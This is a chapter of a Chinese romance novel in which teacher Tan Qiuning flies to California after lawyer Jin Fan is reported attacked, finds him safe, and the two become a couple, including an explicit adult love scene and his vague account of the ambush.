谈逾冬走后,夜晚稀疏的星际高悬于顶,谈秋宁站在落地窗前伫立一言不发,良久才掏出手机,在“三傻大闹宝莱坞”的群聊发了条消息:
【同途殊归,祝好。】
而后,退出了群聊。
林靖刚落地香港就看到了谈秋宁的这条消息,点开社交平台后铺天盖地的消息迎面而来,结合谈秋宁在群里发布的消息,了然背后的牵扯后,她给谈秋宁回了电话:
“他爸的,气死我了。秋宁你现在没事吧?”
谈秋宁举着手机,盯着院里灯光照耀下琥珀色的栾树花,淡然地说:“没多大事,不用担心。”
林靖:“害,只能说人的第一面都擅长伪装,当初谈理想、聊初衷时那么契合,还以为我们三个真的是相见恨晚的挚友。果然最狠男人心,从玄武门之变、九子夺嫡就能看得出来,为了上位不择手段。”
“是这样的,知人知面不知心,披着羊皮背后实则是大灰狼。”谈秋宁说,“心肮脏,看什么都是肮脏的,或许贾珏也没想到,那是我亲哥。”
闻言,林靖叹了一口气:“得亏你当时没告诉他,你哥也在里面,不然指不定又有什么损招呢,太阴了。”
谈秋宁听到林靖话音之外的机场播报声后,话锋一转,“好了,不用担心我,我没事,你先安置好自己,照顾好自己。”
林靖点点头:“好,那等闲了再聊。”
而后林靖走出机场,上了一辆出租车,开启了人生新的篇章。
-
忙完所有事情之后,谈秋宁走到茶厅沏了杯茶回到客厅一角的软卧沙发上,她窝躺着刷手机,偶然间刷到了“重建西城日记”账号发布的最新一则视频标题:
【关于她,蝴蝶与坦克兼具的女性。】
谈秋宁点进去,3分钟的视频,却硬生生看成了半小时的感觉,当柴遥的声音落入静寂又空旷的房间内时,谈秋宁的眼泪瞬间溢满整个眼圈。
“小谈,你看镜头,看我!”
“小谈,你是最棒棒的老师,你是我见过最负责任、最能感同身受、最坚守初心、最有大爱的老师!”
“小谈,你回头,看我一下!”
“小谈,我会一直支持你!”
画面一帧帧呈现在面前,可能是谈秋宁站在讲台上完课,临近下课时柴遥走到窗边拍下的一幕;又或者是谈秋宁跟柴遥一起家访慰问孩子们的路上;亦或是晚饭后,一同走在乡野小路上不经意间拍下的一幕;是情绪崩溃大哭的夜晚,柴遥突然出现抱住她说:“我会一直支持你。”
她没想到这些底片有一天会被小张翻出做成视频送给她,过去一年的逝水回忆此刻如同潮水般朝她涌来,视频继续播放着,接着又出现了在福利院好好长大的小豆芽、渐渐褪去稚嫩成为一名初中生的小云朵、依旧痞里痞气的小仙君、忍不住眼眶里泪水的小风铃……
他们一个又一个送上对谈秋宁的问候,以及视频的最后呈现的是小孩子们写给谈秋宁一封又一封的手写信。
最后五秒,机械的键盘声响起,画面转黑,屏幕上出现一行白色:【小谈老师,我们比流言蜚语更早认识你,我们都会一直一直支持你,无论身处何方。】
小张发布视频时没跟她说,只是默默地做,默默地为她发声,而后谈秋宁退出视频,打开微信给小张发了条短信:
【谢谢你,小张。】
【我知道,我都知道。】
【一直记得小柴姐的我们,都会如愿、平安、喜乐。】
【她也一定希望我们幸福。】
发完后,谈秋宁没急着退出聊天画面,视线锁住顶部“对方正在输入”,又还原备注,再次重复出现这一行字,如此反复,消息始终没发出来。
有些事,就像当初柴遥看穿她与靳繁的小心思却没有拆穿一样,彼此心知肚明,不一定要点破。
良久,她才收到小张的答复语:
【好。】
【谢谢你,秋宁姐。】
-
而后,谈秋宁不再关注互联网上的云云绕绕,将所有事情交给靳繁处理,早早睡了觉,明日早起送他去机场。
翌日,机场口。
青江晴转阴,厚厚云层遮住本该艳阳的太阳,半边云霓近在眼前,仿佛触手可及。
靳繁驱着车,难得穿了件白衬衫,西装外套叠放在谈秋宁腿上,腕口处袖口卷起,单手操控着方向盘,稳稳停在固定位置。
而后打开后备箱,踩着黑皮鞋将行李箱拎下来,谈秋宁跟在其后,默不作声。
“抱一下。”靳繁松开拎着行李箱的手指,朝谈秋宁又迈进一步,弯下腰,目光紧紧盯着近在眼前的谈秋宁。
谈秋宁没吭声,抬起手臂,攀上他宽大又温暖的肩膀,抱了一下,“落地,报平安。”
这是她第一次主动要求靳繁发消息报平安。
上一次谈秋宁赴美时,靳繁那条没等到的落地平安消息,未曾想过会以这种方式返回。
“好。”话落,靳繁哼着轻快的小调说,“等我回来,我们陪Summer去打疫苗?”
他再一次强调这件事,像是反复念叨,又像是意有所指。
谈秋宁:“絮叨。”
“辛苦你了,陪我折腾,还要等我回来。”靳繁已然习惯谈秋宁的呛言呛语,如果这是一种爱意的表达,那他欣然接受。
“快进去吧,到点了。”被紧紧抱着的谈秋宁,抬起手腕看了一眼时间,及时掐断带着离别惆怅的对话,拖着清脆的嗓音说。
靳繁松开她,眼底透着零零碎碎的笑意,目光聚焦,嘴角咧开,“好。”
在他即将转身的最后一秒,谈秋宁拉住他的手腕,小臂使劲,余光扫了一眼旁边无人经过的路旁,踮起脚尖,蜻蜓点水般吻了一下靳繁的唇。
整个过程,靳繁僵直身体,愣在原地,还没来得及反应,谈秋宁已然撤离回原地,车辆掩住了匆匆而过的车水马龙,鸣笛声抵不过靳繁此刻心动的频率。
他再次揽住谈秋宁的腰,抵在她的颈窝,热腾腾的气息洒在她的颈部,“谈秋宁,你再这样,我走不了了。”
谈秋宁的嘴角翘起,不接话,“痒,离远点。”
“等我回来。”
靳繁扭过头,埋在她的颈窝,嘴唇轻轻蹭了一下,而后转身拎着行李箱离开,在拐角的最后一刹,又扭身冲她挥挥手。
等他进去后,谈秋宁才驱车离开,车子最后停在了一家临近悦水湾新开的咖啡厅,点了杯摩卡咖啡,打开笔记本电脑,处理工作。
之后一连几天,都是如此,除了早晨和傍晚去幼儿园接果果上、放学以外,谈秋宁一直埋在咖啡厅里,连老板都记住了她,每早九点,老板刚开门便会给她打招呼,“今天也很准时。”
谈秋宁点头冲她一笑,“早安。”
随后,沿着咖啡厅窄小又布满绿植的小道,踩着棕咖色地板往里走,落座到熟悉的一角,醇厚的咖啡香气扑鼻而来。
这几天,她一直忙着备课、学习、整理资料、研读文献,最近又突然对古希腊语感兴趣,闲暇之余,在网上搜集各种资料自学。
谈秋宁觉得学习古希腊语这件事,像手里握着的美式咖啡,虽苦,但回味起来却意蕴无穷。
“叮咚——”
放在圆桌一角的手机频繁的震动如同苍蝇在眼前飞来飞去般发出噪音,拉回谈秋宁的思绪,她点开一看,是宋韵书。
那天婚礼结束后,宋韵书主动留了她的微信。
“韵书。”
谈秋宁摘掉耳机,脸色没有一丝被打扰得不快,清润的声线缓缓开口说。
对比之下,听声筒里传来的声音略显急促与慌乱,“秋宁姐,抱歉,一直没联系到你,无奈之下冒昧给你打了电话。”
谈秋宁的手机开了免打扰模式,闻声,指尖滑动,浏览到从早上八点多开始到现在临近一点,宋韵书给她发了n多条消息。
“没事,应该是我说抱歉,手机开了免打扰,一直在忙工作,没看手机。”
宋韵书:“没关系。秋宁姐,你看到我发的消息了吗?”
“刚看到。”
宋韵书邀请她参加今年海溪十月份举办的TED演讲。
“这是结婚以来,婆婆安排给我的第一个工作,我想尽力完成好。选题定的是‘女性’,而秋宁姐,你的思想境界、内核都是值得我们学习的,你是最合适的,再加上最近风波不平,你出场,一定可以达到意想不到的效果,所以我想冒昧地问一下你的想法。”
空气静默两秒钟,谈秋宁将手机换到另一个手中,声音干净利落,“抱歉,韵书,这种场合实在不适合我。”
她自认为让人共鸣的演讲,是演说人不断将内心剖开、重塑、再剖开如此反复后的产物。除了这一点之外,她不喜欢将亲身经历拿到台上来说。
上次在华阳中学领奖时,被架到台上,校长说让她准备一篇演讲稿分享经验,她尝试过,还是作罢,最终只说了一句话。
上台演讲,剖析内心,将内心一点一点剖开在大众面前,一直是她的脆弱点。
“秋宁姐,我还是希望你能好好考虑下,不着急,你可以慢慢想,名额我一直给你留着。”宋韵书仍契而不舍地说。
谈秋宁只好应下声,而后挂断电话,食指与中指间握着的黑笔不经意地转动起来,思绪的指针在脑中鸣起声响,宕机延缓。
良久后,她收回思绪,回复了一上午的工作以及好友分享的消息,霎时,一条微博热点新闻弹送到手机顶部,砸碎她脑海里思绪外的玻璃罩,转动的指针仿佛加速运转,滴答滴答响不停:
#加州重大经济案件律师遇刺#
#中国律师遇难#
连续两条推送标题弹出,谈秋宁心跳猛然错乱了一拍,所有字眼都那么熟悉、触手可及,但组合到一起,她却难以接受,错乱的心跳频率像是在说不可能。
不可能是靳繁,因为时差问题,昨晚谈秋宁还收到了开庭前靳繁跟她分享早餐,吐槽加州的中式早餐很难吃,说要等回来了,连续早起一个月打卡吃早餐。
尽管内心写满不相信,但手指还是鬼斧神差地点了进去,新闻报道里详细地描述:中国律师身穿黑色大衣、个头差不多187左右,具体地点在加州偏僻街道……
后面一系列的描述,谈秋宁已经看不下去了。她第一次觉得文字如此令人头疼难耐、不耐烦。
随后,谈秋宁退出微博,再次点开微信,给靳繁发了消息,强装镇定地在键盘上敲下一行字:
【结束了吗?情况怎么样?】
她实在没有耐心忍住空气静止的几秒,她又拨打了语音通话、视频通话,通通无人应答。
整个过程下来,谈秋宁甚至没有意识到手指不受控制地一直在抖动,她又拨打了电话,心跳扑通扑通,躁动的心发出猛烈的声响,像是要击碎耳膜,直至标准的男声说出:“您好,你所拨打的电话正在通话中……嘟嘟嘟—”彻底击碎谈秋宁最后的一丝理智。
她不知道自己是如何摁断电话,接着又打了梅清婉的电话,凑巧两人同时给对方拨打了电话,又一次没打通,退回到主页面上,谈秋宁收到了梅清婉发来的消息:【宁宁,抽空给我回个电话。急事。】
谈秋宁像是抓住逃出逼仄又窄小空间的绳子,立马回拨了电话:“我看到新闻了,所以是他吗?”
梅清婉的语调也比往日严肃了几分,“我刚跟楼山通过电话,确实是律所人员出事,目前处于失联状态,但不一定是靳繁。你要先稳住,宁宁。”
一字一句像是一涌而来的潮水抓住心脏的缝隙,使劲地往里渗透,压得谈秋宁心口出不来气,脑海里已经装不进任何事情了,只有“滴滴滴—”延长音在回荡。
“清婉,我已经很冷静了,但我的手好像控不住地一直在抖动。”谈秋宁的声音此刻被压得沙哑到极点,瞳眶里的视线愈来愈模糊,像对不准的长焦镜头,模糊了整个世界。
梅清婉咋舌,几个月前,她也曾切身体会过这种全身被挂在悬崖边上的感觉,也知道此刻的语言太过无力,但她还是稳住声线:“宝贝,我们都清楚你对靳繁的态度,无论你当下想做什么决定,大胆去做,我们都支持你。”
谈秋宁握着手机良久没有说话,而后才说:“好,让我冷静想一想。”
挂断电话后,她才看到几分钟前,陈青梧陈教授,也是靳繁的母亲通过靳佳敏推荐的名片,加了她的微信。
陈教授得知消息的第一刻就想到了谈秋宁,匆匆找靳佳敏要了谈秋宁的微信。
刚通过后,陈青梧的消息便发了过来:
【不要担心,小谈。】
【靳二,吉人自有天相,我们要相信。】
【况且,他还没等到你亲口答应他,不会善罢甘休的。佳敏也在加州,她已经去联系相关人员了,放心,有消息,我一定第一时间跟你说。】
秋日葵:【陈教授,我打算飞一趟加州,远水解不了近渴。】
【无论怎样,我都想亲眼见见他。】
陈青梧的语音电话当即打来,被接通的第一刻,她便火急火燎地说,“小谈,太危险,我不放心你一个人去。这样,我跟佳敏说一声,你坐高家小子,也是靳繁姐夫的私人飞机,让佳敏安排人陪你一起,不然我没法跟你哥哥交代。”
“好。”
谈秋宁没拒绝,收起桌子上的书本、笔记本电脑以及本子放进斜挎包里,到吧台付了钱后驱车回了悦水湾。
车子稳稳停在路边,谈秋宁踩着白鞋走下车,看到哥哥的身影,被太阳光斜斜地打在车上,倚着车边默默等她回来,她抬眸,视线与哥哥对视的那一刻,一路上所有紧绷的情绪当即断开,如潮水般汹涌地滚向她。
谈逾冬朝她走去,他读懂谈秋宁眼底的意思,他本就在赌,如果谈秋宁从咖啡厅回来,那她一定选择去加州,所以他早早地等着。
他与谈秋宁面对面而立,拍了拍她的肩膀,“去吧,宁宁。至少在这一刻,你的心跳不会欺骗你。”
“再勇敢一次,哪怕依旧是糟糕的结果,那也永远有我为你托底。”
谈逾冬得知靳繁喜欢妹妹时,他不知道是该担忧还是庆幸。早年跟靳繁打过比赛,了解过他的为人,但也因为太了解,所以会生出几分担忧。
靳繁太过不择手段、心狠手辣了,在事业上这或许是好事,但在感情里,一定不是,妹妹先前经过秦思诚这一遭后,他只想妹妹余生能遵从内心、平坦地走过未来的旅程。
所以,靳繁第一次带着真真来家里过年时,他故意呛靳繁。但当他得知,靳繁跟着妹妹去西城时,他真的觉得靳繁是脑子进水了。
后来谈逾冬动手术前,去西城那一趟时,在酒店门口,他对靳繁说:“父母之爱子,则为其计深远,长兄如父,亦为妹谋之。我从未想过你会做到这一步,换句话说,一开始是我主观臆断了。”
当时靳繁扬了扬眉毛,眼角压不住的笑意:“当初我就对谈师说过,且行且看。”
谈逾冬:“我信自己的眼光。靳律,来日方长。”
至今,他仍记得靳繁笃定的眼神,心里也记着他的好,在西城遇到泥石流时,他守在妹妹身边,无言中也给了她最大的依靠;他也看穿了妹妹心里的纠结、不确定以及不安感。
身为局外人的他们,包括果果在内,都看得出,这段感情的絮因,因在谈秋宁,果在事在人为。
-
收拾好东西后,靳佳敏给谈秋宁发了微信:
【我助理在机场口等你,她认识你,一会儿会直接找你。】
【我在加州等你,不用担心,一切还有我。】
谈逾冬将她送上飞机,临走前,谈秋宁喊住他:“哥。”
紧接着,谈秋宁又往下走了几级台阶,小跑到哥哥面前,轻轻抱了他一下:“哥,谢谢你。”
谢谢你,永远义无反顾地支持我所有选择,永远无条件地爱我。
“最近也是胆肥了,说了多少次了,还敢对我说这句话。好了,快去吧,我跟清婉还有果果,在家等你回来。”谈逾冬从喉间挤出几声零碎的笑意,推着谈秋宁往回走。
落地加州机场时,谈秋宁一眼看到人群中的靳佳敏,她穿着香奈儿新款秋冬成衣,黑色毛边布料设计,领口处环圈白边,扎着干练的低马尾束在脑后,虽然她们是第一次见,但冥冥之中,她觉得那就是靳佳敏,果不其然,下一秒眸光锁定的身影朝她走来。
“有消息了吗?”
上飞机前,她一直没敢问,尽管内心做好了所有准备,但仍不堪一击,四面漏风,她怕她一旦得到否定的答案,连踏上私人飞机的勇气也没有。
靳佳敏先是抱了她一下,松开的一瞬间,谈秋宁将她摇了摇头的动作收紧眼底,“暂时还没有。先把外套套上,加州最近降温了。”
她将助理手中的外套披在谈秋宁身上,又说:“先带你回家,吃顿热口饭,再一起等消息。”
“好。”
等回到加州的家里安顿好之后,谈秋宁腾出时间翻看了一会儿手机,回复消息,看到通知栏的那瞬,她愣住片刻,通话记录里有多条未接的国际电话号码,好不容易稳住的情绪再次波动起来,内心强烈的直觉告诉她,是靳繁。
她回拨过去,无人接听,而后才反应过来,应该是电话亭号码,单线联络,僵硬的片刻,空气里传出几声本不该出现的笑意,是她在笑自己的慌乱与手足无措。
半小时后,手机铃声再次响起,依旧是国际电话号码,她唰地一下拿起手机摁了接听。
“喂。”
对面只说了一个字落入谈秋宁耳朵里,她竟有些想哭,因为她听出了他的声音,是靳繁。
“靳、繁。”谈秋宁一字一停顿,喊出他的名字,话音落,猛吸一大口气,手指关节泛白用劲,紧紧攥着手机。
“是我。”靳繁的声音略微沙哑,刻意压低的声音也显得有几分醇厚,“对不起,让你担心了。”
“在哪?”谈秋宁呼出一口刚吸的气,稳了稳声线说,“我在加州。”
对面的声音像被掐断片刻,什么都听不到,而后粗重的呼吸声穿透听声筒落入谈秋宁的耳朵里,好似热腾腾的气息连通电线洒在她心口,滚烫又泛痒。
“在电话亭。对不起,对不起。”靳繁的声音瞬间变得粗犷起来,连尾音也变得哽咽,“让你担心了,我没事,我已经没事了。”
他好不容易逃离事发现场,将通行受伤的伙伴送到医院后,才发现手机被偷了,靳繁又连忙跑到附近的银行取了现金支付。
那么轰动的事情一定会传回国内,谈秋宁第一次经历这样的事情,他怕她担心,所以一直守在医院附近的电话亭隔一段时间就打一次电话,没有一次打通过,但他从未奢望过,谈秋宁竟来了加州。
而当她亲口告诉自己在加州时,靳繁心里又涌出一股亏欠的情绪,从青江到加州,10613公里的路程。遥远的路途,还要带着对他的担忧,他不敢想,一路上谈秋宁的心理历程。
直到此刻,靳繁真正切身体会到了父母一直让他换行的苦楚。
让爱的人牵肠挂肚,也是在折磨被爱者。
真正爱你的人,怎会让你心生不安。
谈秋宁还没来得及再次开口说话,靳佳敏迈着匆忙的脚步赶到房间门口,敲响房门,她起身打开门,手机被握在手里,耳朵传入靳佳敏说:“联系到君领团队的人了。”
“是靳繁。”
谈秋宁将手机递给靳佳敏,眼底难得浮出一抹熹微的光芒。
“姐。”
靳繁的声音传入靳佳敏耳中时,她紧绷的精气神才松懈下来,而后靳佳敏以略微哽咽的嗓音说:“靳繁,我告诉你,回国后,立刻马上没有任何商量的余地,换行。从前尊重你的热爱,但也庆幸你一直没事,但这次,说什么我也不会站在你这边了。”
靳远山和陈青梧已经数不清是第几次经历这样的事情了,前几次总瞒着靳佳敏,这次或许是因为谈秋宁,瞒无可瞒,但当亲身经历其中时,靳佳敏发觉,她更后怕失去弟弟的代价。
从事发第一时间,陈青梧给靳佳敏打了电话,到她跟高昃谦两人到处托人联系,几经打探,才终于得到一点消息。
她忙活了多久,父母就多久没合过眼。
“嗯,知道了,先代我向爸妈问个好。”靳繁难得没反驳地说。
靳佳敏:“在哪呢?我让高昃谦去接你。”
靳繁报了一个地点后,靳佳敏又将电话还给谈秋宁,两人又说了一会儿话便匆匆挂断。
枇杷黄色的天空拖着最后一抹熹微的光,加州夕阳如期而至,20分钟后,高昃谦将车稳稳停在院子门口。
谈秋宁早已站在门口等靳繁,高昃谦走出车门后,点头示意一下,朝谈秋宁身后的靳佳敏走去,而后,两人齐齐离开,将私人空间留给靳繁和谈秋宁。
谈秋宁的眼眶虚焦又定格,微仰头,对准靳繁的脸,明明才一周多未见,经此一趟,却恍若隔世。
“靳繁。”
谈秋宁唤他的名字,闻言,靳繁朝她走去,在她泪水砸落的瞬间,他紧紧抱住她,肩头接住了谈秋宁眼角滑落的泪水。
“我在。”
“对不起,让你担心了。”靳繁的下巴蹭了蹭她的头发,蹙着眉头,瞳孔被覆了一层汪洋,看不清眼底的情绪。
谈秋宁吸了吸鼻子,额头抵在他的胸膛,不说话,良久,她才抬眸目光紧紧盯着靳繁。
街道一旁的白炽灯泛着黄栗色的光圈打在两人身上,顺着灯光,谈秋宁又往前朝靳繁迈了一步。
她终于鼓起勇气,迈出一百步中,剩余的最后一步,对视不过一秒,再次攀上他的肩膀,不停地唤他的名字。
“靳繁。”
飞机上后怕的余劲涌上心头,只有一遍一遍地喊靳繁的名字,谈秋宁才能确认他真的身边。
“谈秋宁,你抬头,又下雪了。”
她脸颊滑落的滚烫泪水沿着他的胸膛滚落进他的心口,靳繁感知着胸口的温热,余光之外,长长的睫毛接住一片下落的雪花,谁曾想10月的加州竟下了今年的第一场雪。
谈秋宁止住情绪,茫然地抬头,松开紧紧抓住靳繁后背大衣的手指,转身,缓缓抬手,试图接住雪花。
靳繁反手拉住她的手,清了清沙哑的嗓音,拖着清润之中多了几分沉闷,“谈秋宁,回国后,我们一起陪Summer饭后散步、接果果上下学、陪你到青大上课,好不好?”
言外之意是,谈秋宁,我们在一起好不好?
让往事随加州突如其来的大雪般消逝于自然天地。
我们一起往前走,好不好?
谈秋宁顺着灯光的方向,看向眼前人,他比来加州前憔悴了几分,下巴处略显的胡茬、眼底下乌青的黑眼圈,默默盯着他看了几秒,回想起在飞机上时,她不敢闭上眼,一闭眼,脑海里全是靳繁的脸庞。
而如今,牵肠挂肚的人就站在自己面前,谈秋宁缓缓抬手,抚摸住他的侧脸,竟有些想哭。
这次,她为心跳绘出答案。
窸窸窣窣的下雪声成了整个城市唯一的白噪音,良久,靳繁终于听到他苦苦坚持后得来的回应,耳边传入谈秋宁轻轻吐出的一个字:“好。”
闻言,靳繁将她紧紧抱在怀里,“谢谢你,谈秋宁,谢谢你爱我。”
谈秋宁被他紧紧搂在怀里,温热的胸膛堵住声音,她拖着沉闷的嗓音说:“靳律,你把我要说的话都说完了。”
话落,靳繁笑出声,话锋一转,盯着谈秋宁满头的白雪说,“你长白头发了,谈秋宁。”
雪愈来愈大,像撕碎的纸巾般哗哗地往下落,落在两人头顶、肩头,谈秋宁像是没听到他的话一般,踮起脚尖,搂着他的脖颈,覆上他的嘴巴。
靳繁见状,弯下腰,让她再次稳稳站在地面上,宽大的手臂揽着她的腰,试探般地一点一寸地碾磨她的嘴唇,同时膝盖微屈发力,谈秋宁也配合般地跳起,收了收搂住他的胳膊。
他一个转弯,抱着谈秋宁,迈着大步朝屋檐下走,他的背抵在冰凉的墙壁上,与滚烫的皮肤形成鲜明对比,身体有了发力点,更加放肆地攻略她的城池。
“你太菜了,靳繁。”
良久后,两人额头相抵,胸口不停地起伏,难得喘口气,谈秋宁从喉间挤出零零碎碎的笑意,以略微沙哑的声音说。
“秋宁,你当真要继续这么挑逗我吗?”
他眼底的情//欲愈来愈浓,目光死死定格住谈秋宁的眼睛,黝黑的眸光像是泼墨般要将她吞没。
谈秋宁借助靳繁的力,胳膊肘撑在他的肩头,向上延伸,要比他高出半个头,低头,故意凑到他的耳尖处,热气喷洒在耳边,似有似无地抓挠后者的心,慵懒的声调开嗓:“想听实话,靳二?”
“嗯。”靳繁滚了滚喉结,明知她是故意的,却依旧配合地说。
谈秋宁:“还记得喝醉那晚,喊你过来后我说的什么吗?”
两人像是心照不宣,不用挑明,靳繁瞬间懂了谈秋宁的言外之意,身体加速升温,他强压制住上头的冲动,托起谈秋宁的手臂青筋突起,将她放在地面上,脸埋在她的颈窝,哑着笑意说,“我认输。”
谈秋宁被他弄得痒痒的,笑出声,“不逗你了,先去洗澡吧,折腾这么久,又淋了雪,回头再感冒了。”
“嗯,好,我送你到楼上。”靳繁的手自然下垂到身体两侧,慢慢朝谈秋宁靠近,握住她的手,跟她一起上楼。
他临走前,谈秋宁反抓住他的手,晦暗不明的眸子盯着靳繁,“洗完澡上楼找我。”
“好。”
90分钟后,谈秋宁的房门被扣响,她关上笔记本电脑,踩着发出沙沙声响的拖鞋走到房门,打开的一瞬间,被靳繁身上熟悉又清爽的皂味萦绕,视线落到他怀里的捧花上:
是一束粉紫渐变玫瑰花束,质感的卡纸包在外围,零散的几束尤加利叶和银叶菊混插其中,增加了层次感与质感,一张简约白卡片别在上面,遒劲有力的字体写着:Let’sfallinloveinthewinter.
落款依旧是靳。
“仪式感。”靳繁将花束递到谈秋宁面前,视线自然而然地落在她的身上,“之前总听楼山他们说,一段正式且健康的恋爱关系,应从一束鲜花开始。这束虽然潦草,但比没有好。”
他没告诉谈秋宁,这是他跑遍加州街头所有花店,才寻到的唯一一束花。
因突如其来的一场大雪,所有花店均关门,只有一家中国花店还在营业,但这束本是老板送给妻子的六周年纪念礼物,但因听到靳繁说恋爱第一天,于是老板选择将花给了靳繁,并对他说:希望能将我与妻子的幸福传递到你们手中,完成幸福的接力棒。
听到他说,谈秋宁愣在原地片刻,很快,眼睛一转,幽深地盯着靳繁:“你在勾引我,靳繁。”
“你知道我为了压制欲//望,刚高度集中注意力工作了一个半小时吗?”
而后,两人不言而喻地关上门,抵在门后,幽幽地看着彼此不说话,任由眉眼间暧昧缱绻的气氛横生。
靳繁低头,谈秋宁攀上他的肩膀,时间的流沙被放慢,呼吸声被放大,暧昧的氛围萦绕着他们,两人交缠在一起,靳繁碰到开关,顺手关掉了灯。
谈秋宁盯着眼前靳繁身上的衣件越来越少,他是典型穿衣显瘦,脱衣有肉的类型,平时有刻意地健身,但没到雄壮肌肉程度,她的视线沿着他的人鱼线一点一寸向下移动,眸光最后定格在他腹肌中央一侧的一颗痣上,晦暗不明。
靳繁双手撑在谈秋宁身体两侧,挡住了她目光所及的所有视线,此刻她衣衫整齐,被靳繁紧紧锁住目光,下一秒,靳繁从她的额头、眉骨、鼻尖、嘴唇、下巴,一寸寸地向下移动,撩起她的裙摆,嘴唇碰到的一瞬间,谈秋宁蹙起眉头,指尖抓不住光滑的床单,她双手胡乱移动,最终抓住靳繁半干的头发。
他的脑袋越埋越深,谈秋宁胳膊肘撑在床上,腰部发力,仰头挺着身子,白净的颈部露出清晰可见的青筋,靳繁的鼻尖泛着粼粼如湖面的波光,见差不多后,才缓慢地移开,起身从一旁的口袋掏出计生用品,撕开,笨拙地戴上。
一旁的谈秋宁感知到窸窸窣窣的声响半天也没见靳繁过来,沙哑的嗓音泛着笑意咕哝着问他:“靳律,真没经验?”
“没啊。”靳繁回答得干净利落,“解决欲//望的方式有很多种,不一定非要选择找异性这一种。”
谈秋宁:“……废话太多了靳二,快点好吗?”
“这么着急?”
“急得很。”
话音刚落一秒,谈秋宁的眼前再次被压上黑影,嗓音间挤出一抹不属于自己的声响,而后,耳边传来靳繁喘气的声音,“现在呢?”
“嗯,有点难受,但还可以。”
听到她的回答,靳繁不敢再乱动,维持原状,房间内的指针滴答滴答地走动,他察觉到谈秋宁不安分地移动,微微顶腹,一下又一下,而后谈秋宁发出一声闷哼,稳着声线说,“可以了,靳繁。”
这句话落入靳繁耳中像是打开某个闸门,只几下便找到谈秋宁的敏感点,刻意地放缓速度,暗戳戳地□□几下,谈秋宁舒服得直舒脖颈,而后,又陡然加快速度,将谈秋宁揽在怀里,将主动权交给她,她跪在靳繁身体两侧,缓慢几下之后,谈秋宁无力地瘫在他的肩头,他又让她的身体翻过去,几个回合下来,他已然摸透谈秋宁的敏感点与喜好。
-
凌晨两点的加州,一场大雪终于停止,谈秋宁的头发挽成低马尾束在脑后,额前被汗水涔涔浸透的碎发贴着,一缕凌乱地披在眉角,身体累到极致,抵在靳繁身侧,精气神却极好,她清了清嗓子说:“谢谢你让我美梦成真。”
靳繁有意无意地捏她的指尖,视线不自觉地朝谈秋宁身上扫,“怎么抢我台词?”
明明,是他的一场美梦。
话音落,断断续续又无声的笑意通过颤抖的胸膛表现出来。
谈秋宁的脑袋从他肩头移走,“笑什么?”
靳繁长舒一口气:“小谈,第一次听你这么温情的讲话,是真的觉得像一场迷魂梦。害怕梦醒,害怕大梦一场空,醒来就破碎了。”
“靳繁,你真的……”谈秋宁白了他一眼,没好气地说,话说到一半停顿,唇间翁合,良久,她才吐露一个词:“有病。”
“嗯,这下真实了。”
谈秋宁:“……”
“好了,不闹了。”谈秋宁轻轻拍了一下他的肩膀,语气正经了几分,又接着说,“现在可以说一下当时情况吗?给了你入场券,那我便想要知情权。”
闻言,靳繁僵硬一瞬,似是没想到谈秋宁会在此时此刻,在当下温情后的地方、时间点提起遇险这件事。
“新闻标题有歧义,有博噱头的成分。”靳繁清了清嗓子说,“实际上情况也没那么糟糕。”
话音落,他对上谈秋宁的眼睛,后者一言不发,继而他又继续说:“那天案子结束后,我跟李清樾,也就是之前接待过你的前台小哥,一同乘车回来,刚走没5分钟,车子被拦截在路中央。
被告人涉及灰色地带,背后势力多数是心狠手辣的人,在我们这里吃了亏,自然是要讨回来的,一行黑衣西装男子围堵在车子周围。
当场砸车,我跟清樾反应过来后当即从车上跳下来,一行人迅速围堵到我俩面前,带枪的举枪,拿刀的持刀,清樾被刀砍中胳膊,缝了几针,现在在医院躺着。”
他刻意隐去了更危险的部分,比如事先雇好的保镖均被暗杀、一颗子弹与他的肩膀擦肩而过,只差1厘米击中要害,而后车子又发生了爆炸,司机来不及下车,当场死亡。
“那你呢,靳繁。”谈秋宁定格在他身上的眼神转动一瞬,依旧幽幽地盯着他。
靳繁克制内心的波澜,故作轻松地说,“我福大命大,自然没事。”
谈秋宁侧身抱住他,声音沉闷,也不再呛他,“你知道我在飞机上想的什么吗?”
靳繁:“总不能是在遗憾没有共度良宵?”
谈秋宁:“…滚啊,靳繁。”
清脆的笑声充盈在房间内,他一句话打乱暧昧渐退、沉重滋生的气氛,让两人的接下来的对话都轻松了许多。
“我当时在想,或许你之前说得对,是我一直以来的道德点太高了。”谈秋宁眸光闪了闪,最后定睛在他的眼神中,“人生不过三万多天,我不如随心所欲一些,没那么多的心理枷锁。那样的话,在飞加州的路上,至少我有合理的身份,至少我拥有过,至少我不会那么遗憾,至少你如愿。”
在飞机上时,谈秋宁没有一刻合上眼,脑海里开始不自觉地播放从和靳繁相遇的第一面起的每一帧画面。恐惧、担忧、遗憾多种情绪交织萦绕在心头,五味杂陈,难于言表。
“怎么还反思上了呢,小谈老师。”靳繁的嗓音落入她的耳中,拉回她的思绪。
“不是反思,是顿悟。”谈秋宁的脸埋在他的胸膛蹭了蹭,声音沉闷,“是这趟旅途,让我悟到了另一种人生可能,不同于我前26年的人生的额外收获。”
前26年里,虽有过叛经离道:高中剃光头、大学毕业后义无反顾地远嫁、结婚后心甘情愿做家庭主妇、得知丈夫出轨后毅然决然地选择离婚,但总的来说,走过的每一步经过深思熟虑,稳扎稳打作出的决定,所以她未曾后悔过半分。
但人非圣人,哪能真正做到断情绝欲,她面对靳繁产生生理冲动时,仍不敢轻易下决定,非要想出一二三才敢作出回应。可如今,这一趟旅程淌过,她想试着换一种方式去接纳新的可能。
“因为我?”哪怕此刻已经猜透她心底的答案,但靳繁仍明知故问地说。
“嗯,因为你。”
爱与被爱让两个人相互折磨,而今,他们终于如愿迈向相爱。
空气静默两秒钟,谈秋宁又接着说,语气里是难得认真,“靳繁,我不知道我有几分爱你,但我知道,如果我不爱你,我便不会踏上加州的旅途。”
爱,是不可理喻,是不顾10613公里的旅途,心甘情愿赴上有你的终点站。
“嗯,我知道。”话音落,靳繁抬起臂膀,紧紧搂住谈秋宁,从在电话亭听到谈秋宁说她在加州时,从前那些抬头仰望明月的夜晚,内心苦苦挣扎“恨明月高悬,独不照他”的情绪倏忽被瓦解掉了。
不重要了,都不重要了,至少此刻,他在享受被爱。
缠绵悱恻的温情时刻弥足珍贵,两颗外刚内柔的心紧紧贴在一起,悬挂黑色幕布中的月亮泛着皎洁的月光斜洒在窗边,室内白墙上映着紧紧相拥的身影。
这是真正属于谈秋宁与靳繁的夜晚。
-
